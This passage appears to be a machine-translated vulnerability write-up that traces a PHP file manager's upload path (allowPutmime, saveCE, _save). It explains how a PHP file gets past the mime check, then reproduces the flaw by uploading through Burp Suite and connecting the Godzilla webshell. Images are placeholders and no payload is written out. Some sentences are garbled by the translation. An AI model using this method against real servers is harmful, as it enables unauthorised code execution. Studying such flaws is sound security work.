вставьте сюда описание изображения

Затем оценивается тип mime, и тип mime определяется с помощью функции allowPutmimime.Здесь тип mime, соответствующий php-файлу, — это text/x-php.

вставьте сюда описание изображения

Проверьте функцию allowPutmime():

вставьте сюда описание изображения

Из комментариев, прилагаемых к программе, видно, что если uploadOrderмассив равен array('deny','allow'), то тип загрузки $mimeфайла разрешен по умолчанию. Затем получите размер файла.Если размер файла является недопустимым, будет сообщено об ошибке для завершения программы, а затем decode()обработка $dst( POSTвходное targetзначение) вернет результат и присвоит его.Поскольку $dstpathэто $hashпустой массив, он будет вызываться joinPathCE()для соединения $dstpathс $name(имя загруженного файла), а затем проверять, существует ли файл.

Наконец, вызывается saveCE() для сохранения памяти:

вставьте сюда описание изображения

После проверки saveCE() я обнаружил, что функция _save() была вызвана снова, и продолжил работу:

вставьте сюда описание изображения

Обнаружено, что функция копирования вызывается для сохранения содержимого файла из кэш-файла.

2. Повторение уязвимости

Сначала выберите загрузить файл в файловом менеджере:

вставьте сюда описание изображения

Затем используйте burpsuite для захвата пакета для создания полезной нагрузки.После воспроизведения проверьте возвращенный результат.В результате возвращается путь к загруженному файлу:

вставьте сюда описание изображения

Для подключения используем Godzilla (закачан сын Годзиллы), и видно, что подключение прошло успешно.

вставьте сюда описание изображения

постскриптум:

Уязвимость не сложная, но вложенные вызовы различных функций слишком запутаны, и за анализом следить - голова кружится. Звонил еще через пайлаод, и форвард трекинг пришел быстро.В это время новобранец плакал от незнания.

5. Ссылки

Supongo que te gusta

Origin blog.csdn.net/qq_45590334/article/details/126105099
Recomendado
Clasificación